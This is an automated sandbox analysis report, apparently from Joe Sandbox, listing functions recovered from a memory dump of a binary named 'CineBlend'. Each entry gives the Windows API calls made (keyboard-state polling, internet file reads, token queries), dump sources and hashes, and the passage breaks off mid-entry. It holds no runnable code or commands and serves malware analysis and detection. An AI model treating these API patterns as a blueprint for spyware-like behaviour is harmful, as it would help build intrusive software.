                                  • Opcode ID: 1ef7385b3174e6d09d52e462cee5d085f2447cf0edce256e42a16d8ba2bee417
                                  • Instruction ID: dc7aba0c103c0c54c3a56a14a1d298bde6d3c0562003e5b1066edf63c6dcd768
                                  • Opcode Fuzzy Hash: 1ef7385b3174e6d09d52e462cee5d085f2447cf0edce256e42a16d8ba2bee417
                                  • Instruction Fuzzy Hash: A3513735600605DFCB01DF68C485DA9BBF0FF09314B1981E8E95AAB362DB71ED86CB81
                                  Function 00BC75AE Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SetWindowLongW.USER32(00000002,000000F0,?), ref: 00BC766B
                                  • SetWindowLongW.USER32(?,000000EC,?), ref: 00BC7682
                                  • SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00BC76AB
                                  • ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,00BAB5BE,00000000,00000000), ref: 00BC76D0
                                  • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00BC76FF
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$Long$MessageSendShow
                                  • String ID:
                                  • API String ID: 3688381893-0
                                  • Opcode ID: 10b26d236c69298c08694a2bdf568a8ab628af2c4392b7e192db62cb122216cd
                                  • Instruction ID: c474a13ebdf4946cadf9e21023e41403a5f27b624131378ba9de33ec132da11d
                                  • Opcode Fuzzy Hash: 10b26d236c69298c08694a2bdf568a8ab628af2c4392b7e192db62cb122216cd
                                  • Instruction Fuzzy Hash: 6641C135A88504AFD725CF6CCC88FA97BE5EB0A350F1502B8F819A72E0DB70AD51DE50
                                  Function 00B623C1 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _free
                                  • String ID:
                                  • API String ID: 269201875-0
                                  • Opcode ID: 49b8f1152b38d282e60481c791945f72f5caa1fc5308b52bb5af890d39e0835d
                                  • Instruction ID: c50e6e64c2b191be565f4a775bf0ee129fb27d8b2920584aeca6694427fbffd8
                                  • Opcode Fuzzy Hash: 49b8f1152b38d282e60481c791945f72f5caa1fc5308b52bb5af890d39e0835d
                                  • Instruction Fuzzy Hash: 5A41D232A00A109FEB20DF78C881A6DB3E6EF89314F1545E8EA15EB351DB35AD01CB81
                                  Function 00B319CD Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetCursorPos.USER32(?), ref: 00B319E1
                                  • ScreenToClient.USER32(00000000,?), ref: 00B319FE
                                  • GetAsyncKeyState.USER32(00000001), ref: 00B31A23
                                  • GetAsyncKeyState.USER32(00000002), ref: 00B31A3D
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: AsyncState$ClientCursorScreen
                                  • String ID:
                                  • API String ID: 4210589936-0
                                  • Opcode ID: 3a5a47275ea68a76aaaede7fdf4ee244c1e93f792022cc3a6264e6d2cafb83df
                                  • Instruction ID: f044c4942269c386b6d488cde58bd952f06895a982bc4ad3adf5d75582a6b015
                                  • Opcode Fuzzy Hash: 3a5a47275ea68a76aaaede7fdf4ee244c1e93f792022cc3a6264e6d2cafb83df
                                  • Instruction Fuzzy Hash: 55415D75A0410AFADF159F68C884BEEB7F4FB05725F20866AE439A2290C7306A54DB51
                                  Function 00BA42B9 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetInputState.USER32 ref: 00BA4310
                                  • TranslateAcceleratorW.USER32(?,00000000,?), ref: 00BA4367
                                  • TranslateMessage.USER32(?), ref: 00BA4390
                                  • DispatchMessageW.USER32(?), ref: 00BA439A
                                  • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BA43AB
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Message$Translate$AcceleratorDispatchInputPeekState
                                  • String ID:
                                  • API String ID: 2256411358-0
                                  • Opcode ID: baa5b16a9a7414c2b076704f14f166d0c437440d3317998fa38bbe20d6462518
                                  • Instruction ID: 8c80fc03dd06b4b7a88281a7f4b31be685887143002ff1e6706160a5bb41716d
                                  • Opcode Fuzzy Hash: baa5b16a9a7414c2b076704f14f166d0c437440d3317998fa38bbe20d6462518
                                  • Instruction Fuzzy Hash: BD319370508345DEEF24CB74D84DFBA7BECEB96304F0445B9D462821A0EBF59849CB25
                                  Function 00B9224E Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetWindowRect.USER32(?,?), ref: 00B92262
                                  • PostMessageW.USER32(00000001,00000201,00000001), ref: 00B9230E
                                  • Sleep.KERNEL32(00000000,?,?,?), ref: 00B92316
                                  • PostMessageW.USER32(00000001,00000202,00000000), ref: 00B92327
                                  • Sleep.KERNEL32(00000000,?,?,?,?), ref: 00B9232F
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessagePostSleep$RectWindow
                                  • String ID:
                                  • API String ID: 3382505437-0
                                  • Opcode ID: ad7098fd9ec62bb66a9a10be3d67ad1cbc5d89db453474c2897fbe8ad6e63dca
                                  • Instruction ID: f21cbdc3cff68bf614cdbf4f7a77761d977df1a33446e041d9bfe45a2c5ac131
                                  • Opcode Fuzzy Hash: ad7098fd9ec62bb66a9a10be3d67ad1cbc5d89db453474c2897fbe8ad6e63dca
                                  • Instruction Fuzzy Hash: 6F31C075900219EFDF14CFA8CD89ADE3BB5EB08315F104279FA25A72D0C770A944DB90
                                  Function 00BAD95F Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,00BACC63,00000000), ref: 00BAD97D
                                  • InternetReadFile.WININET(?,00000000,?,?), ref: 00BAD9B4
                                  • GetLastError.KERNEL32(?,00000000,?,?,?,00BACC63,00000000), ref: 00BAD9F9
                                  • SetEvent.KERNEL32(?,?,00000000,?,?,?,00BACC63,00000000), ref: 00BADA0D
                                  • SetEvent.KERNEL32(?,?,00000000,?,?,?,00BACC63,00000000), ref: 00BADA37
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: EventInternet$AvailableDataErrorFileLastQueryRead
                                  • String ID:
                                  • API String ID: 3191363074-0
                                  • Opcode ID: 6e762fbb154989d09584a89d327a31fc9e836bba0a4c9f3bf11368f186a6cfb7
                                  • Instruction ID: 2d8eedc1d16fe8303b07957d096405dccd9fc31f686a3bfd598ade9febd6e6b3
                                  • Opcode Fuzzy Hash: 6e762fbb154989d09584a89d327a31fc9e836bba0a4c9f3bf11368f186a6cfb7
                                  • Instruction Fuzzy Hash: 77314771608605EFDB20DFA5D884EAFBBF8EB05350B1084AEF546E3550EB30EE459B60
                                  Function 00BC61A5 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(?,00001053,000000FF,?), ref: 00BC61E4
                                  • SendMessageW.USER32(?,00001074,?,00000001), ref: 00BC623C
                                  • _wcslen.LIBCMT ref: 00BC624E
                                  • _wcslen.LIBCMT ref: 00BC6259
                                  • SendMessageW.USER32(?,00001002,00000000,?), ref: 00BC62B5
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend$_wcslen
                                  • String ID:
                                  • API String ID: 763830540-0
                                  • Opcode ID: 7486b97aa296afad3cd57318a0917c338a2aa8f5ce7de3ccbd94948f2678aea2
                                  • Instruction ID: c9fe94e6aabb4d79d179aab2557c1914eb2518e216fccce1f8a72606d4ec9c93
                                  • Opcode Fuzzy Hash: 7486b97aa296afad3cd57318a0917c338a2aa8f5ce7de3ccbd94948f2678aea2
                                  • Instruction Fuzzy Hash: 55217E759002589BDB219FA4CC84FEEBBF8EB44324F1042AEFA25EB180D7709985CF50
                                  Function 00BB138D Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                  Download Yara Rule
                                  APIs
                                  • IsWindow.USER32(00000000), ref: 00BB13AE
                                  • GetForegroundWindow.USER32 ref: 00BB13C5
                                  • GetDC.USER32(00000000), ref: 00BB1401
                                  • GetPixel.GDI32(00000000,?,00000003), ref: 00BB140D
                                  • ReleaseDC.USER32(00000000,00000003), ref: 00BB1445
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$ForegroundPixelRelease
                                  • String ID:
                                  • API String ID: 4156661090-0
                                  • Opcode ID: b7537a396c8fcc71154dd6abcdfc4c5f8c16794eb0eef437bc11763d7a3874d8
                                  • Instruction ID: 9793f4ef4e9f4a333926cd6660a521ded16235e0ecf7e814332c5d893dd99d35
                                  • Opcode Fuzzy Hash: b7537a396c8fcc71154dd6abcdfc4c5f8c16794eb0eef437bc11763d7a3874d8
                                  • Instruction Fuzzy Hash: 1E218E3AA00204AFD704EF69C894EAEBBF5EF49300B1484B9F85A97751DA70AC00CB90
                                  Function 00B6D13D Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetEnvironmentStringsW.KERNEL32 ref: 00B6D146
                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B6D169
                                    • Part of subcall function 00B63B93: RtlAllocateHeap.NTDLL(00000000,?,?,?,00B50165,?,?,00BA11D9,0000FFFF), ref: 00B63BC5
                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00B6D18F
                                  • _free.LIBCMT ref: 00B6D1A2
                                  • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B6D1B1
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                  • String ID:
                                  • API String ID: 336800556-0
                                  • Opcode ID: f5575a2f5263571b7df3b9b984b371b456fa8690c61646139b635fb1bdb87713
                                  • Instruction ID: b2591b498393bc37dae9a99e57a8b84553d4d974963d1fb7315acda18460bf11
                                  • Opcode Fuzzy Hash: f5575a2f5263571b7df3b9b984b371b456fa8690c61646139b635fb1bdb87713
                                  • Instruction Fuzzy Hash: 5E017176B016157F332167665C88D7B6AADDEC7FA131801A9F904E7244DEA88D0181B0
                                  Function 00B96078 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _memcmp
                                  • String ID:
                                  • API String ID: 2931989736-0
                                  • Opcode ID: 32fdaa5c97ae8c132e6f9d99dabc193ff5955a306925c2165971ab0d7ff0a4c2
                                  • Instruction ID: 17c6f9e631fa80b25f3e1c080e294ba751f257409ad1aae3d1161aa94e67bb66
                                  • Opcode Fuzzy Hash: 32fdaa5c97ae8c132e6f9d99dabc193ff5955a306925c2165971ab0d7ff0a4c2
                                  • Instruction Fuzzy Hash: F801B1E26143057B9A1166289CC2FABB3DDDE54399F0444F2FD0A9A342F761ED14C6A1
                                  Function 00B6316B Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • GetLastError.KERNEL32(74DE2E40,?,?,00B5F64E,00B63BD6,?,?,00B50165,?,?,00BA11D9,0000FFFF), ref: 00B63170
                                  • _free.LIBCMT ref: 00B631A5
                                  • _free.LIBCMT ref: 00B631CC
                                  • SetLastError.KERNEL32(00000000), ref: 00B631D9
                                  • SetLastError.KERNEL32(00000000), ref: 00B631E2
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ErrorLast$_free
                                  • String ID:
                                  • API String ID: 3170660625-0
                                  • Opcode ID: 88afe6eeadaf139433aeb326033a3752ad87494a08ca5b6946871c03ae7ebda1
                                  • Instruction ID: 1365d3ccd9de1ee4f97aa61aeb7bc333e908f7733a37afeb11d9273ac816ffe5
                                  • Opcode Fuzzy Hash: 88afe6eeadaf139433aeb326033a3752ad87494a08ca5b6946871c03ae7ebda1
                                  • Instruction Fuzzy Hash: 7A012876641A002BD61227349C85E2B26EDEFD7BB172104B4F825F31C1EF3DCB018124
                                  Function 00B908FE Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B90831,80070057,?,?,?,00B90C4E), ref: 00B9091B
                                  • ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B90831,80070057,?,?), ref: 00B90936
                                  • lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B90831,80070057,?,?), ref: 00B90944
                                  • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B90831,80070057,?), ref: 00B90954
                                  • CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,00B90831,80070057,?,?), ref: 00B90960
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: From$Prog$FreeStringTasklstrcmpi
                                  • String ID:
                                  • API String ID: 3897988419-0
                                  • Opcode ID: 80ce1af364e487a4621e88290b355485e4af2f6bd586234c29bf9fa7ad7c66bf
                                  • Instruction ID: 7ebe305a68517780aca1e7e856eb75ff9d0f5065eb924bfeb3c810bd8e512c9c
                                  • Opcode Fuzzy Hash: 80ce1af364e487a4621e88290b355485e4af2f6bd586234c29bf9fa7ad7c66bf
                                  • Instruction Fuzzy Hash: 53018B7A610204AFEF106F59DC48F9A7AEDEB88796F144174FD05E3212EB71DD409BA0
                                  Function 00B9F292 Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON
                                  Download Yara Rule
                                  APIs
                                  • QueryPerformanceCounter.KERNEL32(?), ref: 00B9F2AE
                                  • QueryPerformanceFrequency.KERNEL32(?), ref: 00B9F2BC
                                  • Sleep.KERNEL32(00000000), ref: 00B9F2C4
                                  • QueryPerformanceCounter.KERNEL32(?), ref: 00B9F2CE
                                  • Sleep.KERNEL32 ref: 00B9F30A
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: PerformanceQuery$CounterSleep$Frequency
                                  • String ID:
                                  • API String ID: 2833360925-0
                                  • Opcode ID: d3555b7373c00f1c2a1500f76977b5e2c4392895b43ed89fafb7f2320034cd5c
                                  • Instruction ID: f9a369a8b225c4808c7eabc2ae8df91bc4b20e31636f10c13eb66062121ee0b6
                                  • Opcode Fuzzy Hash: d3555b7373c00f1c2a1500f76977b5e2c4392895b43ed89fafb7f2320034cd5c
                                  • Instruction Fuzzy Hash: 35016D75D0551AEBCF00AFA4E849AEDBBB8FB0D720F0504B6E501F2290DF349554C7A5
                                  Function 00B91A45 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00B91A60
                                  • GetLastError.KERNEL32(?,00000000,00000000,?,?,00B914E7,?,?,?), ref: 00B91A6C
                                  • GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00B914E7,?,?,?), ref: 00B91A7B
                                  • HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00B914E7,?,?,?), ref: 00B91A82
                                  • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00B91A99
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                  • String ID:
                                  • API String ID: 842720411-0
                                  • Opcode ID: e6b0bf475ce39786bf2d1c6c17165096424f902d10132b0e4a5ed2687040ee99
                                  • Instruction ID: f45b6495cb8f5a889a47a34634fce5bd9eef84edae0bb082ff1e4b50bdeb8f47
                                  • Opcode Fuzzy Hash: e6b0bf475ce39786bf2d1c6c17165096424f902d10132b0e4a5ed2687040ee99
                                  • Instruction Fuzzy Hash: 830181B9601606BFDF114F69DC48E6A3BAEEF88364B220474F945D3360DE31DC40DA60
                                  Function 00B91900 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B91916
                                  • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B91922
                                  • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B91931
                                  • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B91938
                                  • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B9194E
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: HeapInformationToken$AllocErrorLastProcess
                                  • String ID:
                                  • API String ID: 44706859-0
                                  • Opcode ID: 1c2fe8166a10234152e7973420cbd4c5394531df660266065281ccf6b4e56576
                                  • Instruction ID: cea5984195e118831da008217f7cb818c8e68f780505e288615b667e9135196b
                                  • Opcode Fuzzy Hash: 1c2fe8166a10234152e7973420cbd4c5394531df660266065281ccf6b4e56576
                                  • Instruction Fuzzy Hash: 5CF06D79200302ABDB210FA9DC5DF563BADEF897A0F510824FE45E72A0CE70DC029A60
                                  Function 00B91960 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00B91976
                                  • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00B91982
                                  • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B91991
                                  • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00B91998
